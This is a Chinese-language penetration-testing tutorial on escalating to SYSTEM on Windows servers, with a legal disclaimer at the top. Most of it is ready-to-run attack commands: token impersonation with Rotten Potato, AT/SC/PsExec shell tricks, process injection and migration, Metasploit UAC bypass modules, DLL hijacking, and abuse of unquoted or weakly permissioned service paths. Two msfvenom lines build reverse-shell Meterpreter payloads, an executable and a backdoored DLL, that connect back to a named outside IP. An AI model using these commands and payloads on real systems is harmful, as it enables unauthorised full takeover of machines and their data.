系统提权——Windows系统提权
免责声明
1. web权限——服务器权限
1.1 令牌窃取配合烂土豆
2. 本地普通用户——服务器权限
2.1 使用系统自带命令提权
2.1.1 AT命令提权
2.1.2 SC命令提权
2.1.3 ps命令
2.2 进程迁移注入
2.2.1 手工:
2.2.2 利用MSF进程注入
2.3 令牌窃取
2.3.1 MSF令牌窃取
2.4 绕过UAC机制提权
2.4.1 MSF内置模块
2.5 DLL劫持
2.6 不带引号服务路径配合MSF
检测
利用
2.7 不安全的服务权限配合MSF
-仅供安全学习,请勿用作非法用途
-请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人承担,作者不为此承担任何责任。工具来自于网络,安全性自测,如有侵权请联系删除。
取得web权限的情况下进行权限提升。
ls #查看当前目录中是否存在potato.exe
execute -cH -f ./potato.exe #配合烂土豆,进行令牌窃取
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
本地用户提权
适用版本:Win2000 & Win2003 & XP中还是存在的,在Win7以后被剔除
原理:利用普通用户建立计时任务,被系统调用,提升至系统权限。在进行计时任务时会默认采用系统权限来调用计时任务!
at 20:18 /interactive cmd #在20:18分生成一个交互式的System权限的cmd
到20:18分在新弹出的cmd中输入whoami就是system权限。
使用版本:与AT命令相同Windows2003测试可以使用,Windows2008不能使用
#1、创建一个名叫syscmd的新的交互式的cmd执行服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact
#2、运行服务
sc start syscmd
适用版本:Test in Win2012 and Win2008 & Win2016 其他未测 基本可以!
1、下载pstools
PsTools - Sysinternals | Microsoft Learn
2、将其中的psexec.exe传入到目标服务器中。执行以下命令:
PsExec.exe -accepteula -s -i -d cmd #调用运行cmd
#在弹出的CMD命令窗口执行命令就是System权限
低权限进程迁移到高权限进程上面,去分享这个进程的高权限。原理:【相当于开了一个后门,注入到其他用户进程下!】
类似与进程线程的注入。
适用版本:Windows2008以前版本,测试2003可以
1、利用工具pinjector.exe查看都有哪些进程享有System权限;
pinjector -l
#记下返回信息中享有System权限进程的PID
2、将cmd命令行界面进程注入到高权限进程的线程中;
#语法:pinjector -p [高权限进程PID] [cmd] [port]
pinjector -p 420 cmd 3333
3、nc连接被攻击机IP:port
nc 127.0.0.1:3333或nc IP:3333
适用版本:Win2008&2012&2016-阿里云服务器
1、先上线;getuid查看权限是否为本地用户(普通用户、管理员用户都可)
ps //查看享有System权限进程的PID
migrate PID //迁移对应PID
迁移成功后,getuid就成为了System权限。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。
所以当一个攻击者需要域管理员的操作权限时候,需通过假冒域管理员的令牌进行攻击。
适用版本:Win2008 Win2012 Win2016 部分,Win10不行。
使用条件:不借助漏洞情况下需要有本地用户权限,若为web权限就需要借助类似于令牌窃取的漏洞(烂土豆)实现提权!
#生成后门让其上线
msfvenom -p windows/meterpreter/reverse_tcp LHOST=49.94.211.107 LPORT=3333 -f exe -o msf.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
run/exploit
#上线后使用incognito模块获取当前用户令牌
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
UAC的设置:cmd中输入msconfig在弹出的窗口中选择工具-->更改UAC设置。
若被攻击机UAC未开启,则直接上线后getsystem就可提权成功。若被攻击机UAC开启就需要绕过UAC机制。
绕过项目:MSF内置,Powershell渗透框架,UACME项目(推荐)
利用MSF让被攻击机上线;
backgroud
search uac #选好利用模块
use 模块名
show option
run
getuid
getsystem
getuid
若提示“对方主机设置总是通知,不能绕过”就说明被攻击机已将UAC调至最高等级,就要用exploit/windows/local/ask模块来进行提权。
backgroud
use exploit/windows/local/ask
show option
set session
run
getuid #普通用户权限
getsystem
getuid #已提权之system权限
其他bypassUAC模块
原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录(尽量替换该目录下的dll,因为windows目录中替换文件需要有高权限)
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
Windows的dll,Linux的so都是动态链接库
步骤:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功
⚔️检测: ChkDllHijack 火绒剑
项目:https://github.com/anhkgg/anhkgg-tools
前提条件:替换dll文件后需要管理员触发程序(调用了该dll文件的)
1、拿到webshell或者本地用户权限后,在浏览服务器上面的存储文件时,若发现被攻击机中有第三方应用的话就可以在网上找一套相同的应用下载到本地,用火绒剑或者ChkDllHijack分析其调用的dll
ChkDllHijack的使用.返回了XXX.dll说明该程序调用了该dll
2、分析好后生成带有后门的dll文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=49.94.211.107 lport=4455 -f dll -o july.dll
提前信息收集相关软件及DLL问题程序,本地调试成功后覆盖DLL实现利用
不带引号的服务路径中若有空格就会被认为是文件加参数。如“C:\Program Files(x86)”若不带引号就会被识别为C:\Program Files(x86)会将C:\Program识别为服务路径,Files(x86)识别为参数。启动该服务时就会启动C:\Program.exe。这是只要构造带后门的Program.exe再上传至C盘,启动服务即可。
步骤:找到没有带引号的服务路径-->从中找出路径带空格的(C:\Program Files(x86)\XX)-->构造后门(Program.exe)放入对应路径中(C:\)
注:若C盘做了权限控制webshell权限就只能用该技术做信息收集并无法提权成功,需要有本地用户权限。
满足条件(须同时满足):
⚔️检测没有带引号的服务路径:JAWS
https://github.com/411Hall/JAWS
方法一,脚本检测:
上传jaws-enum.ps1,用MSF让其上线后输入shell进入cmd在输入powershell在powershell执行该文件
> ./jaws-enum.ps1
方法二,命令获取:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
若检测到不带引号的服务路径且路径中包含空格(以C:\Program Files(x86)\XXserv.exe为例)
因为不带引号就会认定为C:\Program为目录,后面为参数。所以构造一个Program.exe木马上传至目标服务器的C盘。启动这个不带引号的服务就会启动C:\Program.exe以达到上线。
一些服务没有设置权限,导致这个服务可以被任意的修改(可以修改这个服务的路径)。一般是需要有高权限才可以修改的,但是有时管理员会配置错误有些低权限也可以修改服务路径导致的。
注:本地用户提权居多
⚔️检测项目(两个):accesschk PowerUp(PowerSploit)
AccessChk - Sysinternals | Microsoft Learn
https://github.com/PowerShellMafia/PowerSploit
方法一:
将accesschk.exe上传到被攻击机,执行以下命令
> accesschk.exe -uwcqv "administrators" *
> sc config "test" binpath="C:\1.exe" #将服务名为test的服务路径修改为C:\1.exe生成1.exe木马并监听。上传到指定目录(C盘),启动test服务即可提权至system
> sc start test
重点关注:
方法二:
将PowerUp.ps1上传到被攻击机。用MSF让其上线后输入shell进入cmd在输入powershell在powershell中运行该文件。
> .\PowerUp.ps1
> Import-Module .\PowerUp.ps1
> Invoke-All Checks